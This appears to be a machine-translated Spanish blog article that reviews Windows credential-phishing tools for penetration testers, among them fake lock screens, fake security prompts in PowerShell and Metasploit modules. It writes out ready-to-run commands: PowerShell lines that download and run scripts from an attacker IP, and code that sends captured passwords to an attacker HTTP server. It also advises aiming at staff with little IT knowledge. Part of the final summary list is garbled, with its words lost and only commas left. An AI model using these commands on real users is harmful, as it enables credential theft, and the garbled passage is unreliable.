Credenciales de phishing de Windows





En el primer trimestre de 2020, el número de ataques de phishing dirigidos a usuarios en todo el mundo se duplicó en comparación con el mismo período en 2019, del 9% al 18%. Estos datos son proporcionados por "Kaspersky Lab".



En los sistemas operativos de la familia Windows, es normal que algunos programas y procesos soliciten credenciales de usuario para la autenticación (por ejemplo, en Outlook) para elevar los privilegios de ejecución (Control de cuentas de usuario) o simplemente para salir del modo de espera (Windows LockScreen). La imitación de este comportamiento de Windows le permite recuperar las credenciales de usuario para una aplicación posterior en las pruebas de penetración. Este artículo compiló un resumen de varios programas de phishing comunes que utilizan la suplantación de la pantalla de bloqueo.



DESDE#



Las técnicas modernas de pentesting a menudo se basan en el lenguaje de programación C #, ya que los programas en él se pueden ejecutar a través de varios marcos (Cobalt Strike, Covenant, etc.)



1) La utilidad FakeLogonScreen fue desarrollada por Arris Huijgen en C # y no solo reemplaza la pantalla de entrada de contraseña estándar del sistema operativo, y lo hace utilizando los parámetros de la pantalla estándar configurados en el sistema, lo que aumenta significativamente las posibilidades de no despertar sospechas en el usuario y obtener con éxito sus credenciales de inicio de sesión.





FakeLogonScreen - inicia





FakeLogonScreen - pantalla de bloqueo



Al ingresar una contraseña en una página de inicio de sesión falsa, FakeLogonScreen validará las credenciales en AD o localmente para determinar con precisión si la contraseña se ingresó correctamente. En el futuro, la contraseña se mostrará en la consola del pentester.





FakeLogonScreen: introducción de credenciales



FakeLogonScreen también incluye una segunda versión del archivo ejecutable, que guarda las credenciales capturadas en el archivo user.db localmente en la máquina infectada. Este archivo se puede ver usando el comando type:



type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db




FakeLogonScreen: guardar en el archivo user.db



2) El programa SharpLocker desarrollado por Matt Pickford funciona de manera similar . Una vez iniciado, también reemplaza la pantalla de inicio de sesión original.





SharpLocker - bloqueo de pantalla



Cada carácter ingresado por el usuario es interceptado hasta que se revela la contraseña completa. Sin embargo, debe tenerse en cuenta que esta utilidad no autentica la contraseña y rastreará lo que el usuario ingrese en el campo de contraseña.





SharpLocker - phishing de contraseñas



Potencia Shell



Los avisos de seguridad de Windows para las credenciales son muy comunes porque el software en un entorno corporativo puede requerir regularmente una confirmación adicional o una nueva autorización. Microsoft Outlook, por ejemplo, es uno de los representantes más brillantes de dicho software, que constantemente solicita a los usuarios las credenciales de dominio.



1. Una utilidad que se disfraza de ventana de consulta de seguridad de Windows se llama CredsLeaker . Para su correcto funcionamiento se requiere un servidor web desde el cual recibirá todos los archivos necesarios y donde almacenará las credenciales del usuario, así como la presencia de PowerShell para poder enviar solicitudes HTTP a su servidor. Todos los comandos en el futuro se ejecutarán desde el archivo BAT incluido en la composición.





CredsLeaker - Entrega HTTP



Antes de ejecutar el archivo run.bat, debe realizar todos los cambios necesarios en los archivos de configuración de la utilidad. Una vez que se inicia el archivo run.bat, el usuario verá una ventana de seguridad de Windows solicitando sus credenciales.





CredsLeaker -



Ventana de phishing La ventana de solicitud desaparecerá solo si se ingresan credenciales de usuario válidas. El dominio, el nombre de la computadora, el nombre de usuario y la contraseña se guardarán en el archivo creds.txt en la ruta a continuación:



/var/www/html/creds.txt




CredsLeaker: salida al archivo creds.txt



2. Matt Nelson ha desarrollado una secuencia de comandos de PowerShell que invoca una solicitud de credenciales de seguridad de Windows y la valida. El usuario tampoco puede cerrar esta ventana hasta que se ingresen las credenciales actuales. Este script se puede ejecutar de forma remota, y las credenciales ingresadas se mostrarán en la consola de la máquina del atacante:



 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt




Invoke-LoginPrompt: llamada remota





Invoke-LoginPrompt: ventana de phishing



3. Como parte del marco de trabajo de Nishang , también hay un script de PowerShell que crea una ventana falsa para solicitar credenciales de usuario.



Import-Module C:\Invoke-CredentialsPhish.ps1
 	Invoke-CredentialsPhish




Invoke-CredentialsPhish: desafío local y ventana de phishing



La ventana generada le informará que esta acción requiere confirmación en forma de credenciales. Los usuarios más experimentados en términos de seguridad de la información pueden sospechar que esta ventana se debe al lanzamiento de una aplicación en segundo plano, pero no todos en una red corporativa pueden tener este conocimiento. Las credenciales que ingrese el usuario en el diálogo se mostrarán en la consola.





Invoke-CredentialsPhish: salida de los datos recopilados



Este script también se puede ejecutar de forma remota:



powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish


Rob Fuller en su blog describió el ataque de phishing de las credenciales de un usuario que usa Metasploit y PowerShell. Metasploit Framework incluye módulos que pueden capturar las credenciales de usuario de varios protocolos (FTP, SMB, HTTP, etc.). El siguiente módulo se utiliza para implementar un servidor HTTP básico con autenticación:



use auxiliary/server/capture/http_basic
set URIPATH /


PowerShell se utiliza para llevar a cabo un ataque de phishing en las credenciales del usuario generando una ventana de aviso de seguridad de Windows y luego transmitiendo las credenciales recopiladas al servidor HTTP creado anteriormente a través de Metasploit:



$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');


La captura inicial de credenciales requiere el uso de la codificación UTF-16LE seguida de la conversión a Base64:



cat popup.txt | iconv -t UTF-16LE
 cat popup.txt | iconv -t UTF-16LE | base64 -w0




Convertir el código a Base64 Al



ejecutar el código especificado, ya sea de forma local o remota, se solicita al usuario una autorización, supuestamente de Seguridad de Windows.



powershell.exe -ep bypass -enc <base64> 






Ventana de credenciales de phishing



El módulo Metasploit recibirá las credenciales tan pronto como el usuario las ingrese.





Servidor HTTP Metasploit: recuperación de credenciales



Metasploit



Metasploit Framework incluye un módulo que puede activar de forma independiente una ventana falsa que solicita la autorización de seguridad de Windows de casi cualquier proceso del sistema. Para que este módulo funcione correctamente, debe especificar una sesión de meterpreter en funcionamiento y un proceso en nombre del cual se llamará a la solicitud de autorización de seguridad de Windows falsa.



use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run




Módulo Metasploit - configuración



En este caso, el símbolo * le dice al módulo que monitoree todos los procesos que se están ejecutando en nombre del sistema (NT Authority \ Sistema) y que llame a un cuadro de diálogo cuando se inicie un nuevo proceso en el sistema en nombre del sistema.





Módulo Metasploit: monitoreo de todos los procesos



Tan pronto como comience un nuevo proceso, se le presentará al usuario un cuadro de diálogo en nombre de este proceso con una solicitud de autorización para supuestamente confirmar el trabajo adicional.





Módulo Metasploit - Ventana de phishing



Tan pronto como el usuario ingresa las credenciales, se muestran inmediatamente en la consola de Metasploit.





Módulo Metasploit: obtención de credenciales



Además, este módulo se puede configurar para esperar a que comience un proceso específico.





Módulo Metasploit: recuperación de credenciales a través del proceso notepad.exe



INTENTO



Lockphish es otra utilidad que es capaz de realizar un ataque de phishing que falsifica la ventana de inicio de sesión de Windows. La plantilla de la ventana de inicio de sesión se almacena en el servidor PHP y, de forma predeterminada, utiliza YouTube para redirigir al usuario después de ingresar el nombre de usuario y la contraseña.



 bash lockphish.sh




LockPhish: lanzamiento



En este punto, debe utilizar la ingeniería social para atraer al usuario al sitio web donde se encuentran los archivos de la pantalla de bloqueo.





LockPhish: descarga de un archivo



A diferencia de todas las demás utilidades, la disposición de los elementos en esta pantalla de bloqueo puede no ser precisa, la solicitud de autorización se mostrará en nombre del administrador y no en nombre de la cuenta de usuario actual, y la ventana de bloqueo tiene el estilo externo de Windows 10 Lockscreen. Todo esto en combinación puede alertar mucho al usuario. Esta utilidad tampoco tiene mecanismos para validar la contraseña ingresada.





LockPhish - Pantalla de bloqueo



Después de que el usuario ingrese las credenciales, se realizará una redirección a youtube.com.





LockPhish - redireccionar



Las credenciales se mostrarán en la consola.





LockPhish - credenciales recopiladas



Los métodos presentados en este artículo serán efectivos si el pentester ya ha logrado afianzarse en el sistema (obtener un punto de entrada estable), pero no es posible elevar privilegios u obtener credenciales de usuario de otra manera. Al realizar este tipo de ataques de phishing, debe seleccionar cuidadosamente el público objetivo. La eficacia será muchas veces mayor si el objetivo son los empleados de la organización con menos conocimientos de TI.



Veredicto breve para todo el software probado



  • FakeLogonScreen. Parece lo más plausible posible, mientras utiliza los parámetros estándar establecidos en el sistema. Sabe cómo realizar la validación de las credenciales ingresadas. (La mejor decision)

  • SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
  • CredsLeaker. , , - . , - — , “” , - — , , . ( )
  • Invoke-LoginPrompt. , , Windows. . ( , )

  • Invoke-CredentialsPhish. , .

  • Rob Fuller. metasploit, , . ( )

  • Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )

  • LockPhish. Por un lado, una pantalla de bloqueo distorsionada, sin autenticación, e incluso sin tener en cuenta al usuario actual (siempre solicita una contraseña al administrador). Por otro lado, es el único paciente que puede activarse a través de un navegador. Envía el enlace a la víctima y espera. (No se recomienda usarlo de inmediato, sin embargo, si conoce el inicio de sesión de una víctima específica, vuelva a configurarlo desde Adminnistrator y no será tan malo. Incluso puede funcionar)

Hay incluso más materiales en nuestro blog sobre telegram. ¡Suscribir!



All Articles